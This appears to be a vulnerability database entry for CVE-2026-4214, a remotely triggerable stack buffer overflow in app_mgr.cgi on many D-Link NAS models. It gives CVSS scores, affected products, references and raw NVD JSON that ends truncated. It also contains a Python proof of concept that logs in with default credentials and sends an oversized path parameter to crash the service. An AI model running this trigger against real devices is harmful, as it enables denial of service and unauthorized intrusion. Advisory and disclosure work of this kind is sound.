CVE-2026-4214

Description

A flaw has been found in D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05 and DNS-1550-04 up to 20260205. This issue affects the function UPnP_AV_Server_Path_Setting of the file /cgi-bin/app_mgr.cgi. Executing a manipulation can lead to stack-based buffer overflow. The attack may be launched remotely. The exploit has been published and may be used.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:dlink:dnr-202l_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:dlink:dnr-202l:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:dlink:dnr-326_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:dlink:dnr-326:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:dlink:dns-1100-4_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:dlink:dns-1100-4:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:dlink:dns-120_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:dlink:dns-120:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:dlink:dns-1200-05_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:dlink:dns-1200-05:-:*:*:*:*:*:*:* - NOT VULNERABLE

D-Link DNS-120 < 20260205

D-Link DNR-202L < 20260205

D-Link DNS-315L < 20260205

D-Link DNS-320 < 20260205

D-Link DNS-320L < 20260205

D-Link DNS-320LW < 20260205

D-Link DNS-321 < 20260205

D-Link DNR-322L < 20260205

D-Link DNS-323 < 20260205

D-Link DNS-325 < 20260205

D-Link DNS-326 < 20260205

D-Link DNS-327L < 20260205

D-Link DNR-326 < 20260205

D-Link DNS-340L < 20260205

D-Link DNS-343 < 20260205

D-Link DNS-345 < 20260205

D-Link DNS-726-4 < 20260205

D-Link DNS-1100-4 < 20260205

D-Link DNS-1200-05 < 20260205

D-Link DNS-1550-04 < 20260205

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
"""
CVE-2026-4214 PoC - D-Link NAS app_mgr.cgi Stack Buffer Overflow
Note: This PoC is for educational and authorized security testing purposes only.
"""

import requests
import sys

TARGET_DEVICE = "http://192.168.0.1"  # Target D-Link NAS IP
VULN_ENDPOINT = "/cgi-bin/app_mgr.cgi"

def create_exploit_payload(payload_length=1000):
    """Generate buffer overflow payload"""
    # Pattern that will overflow the stack buffer
    # In real exploitation, this would contain shellcode + return address
    overflow_char = "A"
    payload = overflow_char * payload_length
    return payload

def exploit_cve_2026_4214(target_ip, username="admin", password="admin"):
    """
    Exploit CVE-2026-4214 by sending oversized path parameter
    """
    print(f"[*] Targeting: {target_ip}")
    print(f"[*] Vulnerability: Stack buffer overflow in UPnP_AV_Server_Path_Setting")
    
    # Create session and authenticate
    session = requests.Session()
    
    # Authentication (if required)
    auth_data = {
        "username": username,
        "password": password
    }
    
    try:
        # Attempt authentication
        session.post(f"{target_ip}/login.cgi", data=auth_data, timeout=10)
    except:
        pass
    
    # Construct malicious request
    payload = create_exploit_payload(1000)
    
    exploit_params = {
        "cmd": "UPnP_AV_Server_Path_Setting",
        "path": payload  # Overflow payload
    }
    
    print(f"[*] Sending exploit payload (length: {len(payload)})")
    
    try:
        response = session.get(
            f"{target_ip}{VULN_ENDPOINT}",
            params=exploit_params,
            timeout=10
        )
        print(f"[*] Response Status: {response.status_code}")
        
        # Check for signs of successful exploitation
        if response.status_code == 200:
            print("[+] Exploit sent successfully")
            return True
    except requests.exceptions.RequestException as e:
        print(f"[!] Request failed: {e}")
    
    return False

if __name__ == "__main__":
    if len(sys.argv) > 1:
        target = sys.argv[1]
    else:
        target = TARGET_DEVICE
    
    exploit_cve_2026_4214(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-4214
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-4214
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-4214/
[4] VulDB https://vuldb.com/cve/CVE-2026-4214
[5] https://github.com/wudipjq/my_vuln/blob/main/D-Link8/vuln_164/164.md
[6] https://vuldb.com/?ctiid.351125
[7] https://vuldb.com/?id.351125
[8] https://vuldb.com/?submit.770445
[9] https://www.dlink.com/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-4214", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:20:08.227", "lastModified": "2026-03-19T14:29:33.657", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05 and DNS-1550-04 up to 20260205. This issue affects the function UPnP_AV_Server_Path_Setting of the file /cgi-bin/app_mgr.cgi. Executing a manipulation can lead to stack-based buffer overflow. The attack may be launched remotely. The exploit has been published and may be used."}, {"lang": "es", "value": "Se ha encontrado una falla en D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05 y DNS-1550-04 hasta 20260205. Este problema afecta la función UPnP_AV_Server_Path_Setting del archivo /cgi-bin/app_mgr.cgi. La ejecución de una manipulación puede llevar a un desbordamiento de búfer basado en pila. El ataque puede ser lanzado remotamente. El exploit ha sido publicado y puede ser usado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "baseScore": 9.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dnr-202l_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "2026-02-05", "matchCriteriaId": "E20A03F5-6985-4917-8E5B-48963FB62AF2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:dnr-202l:-:*:*: ... (truncated)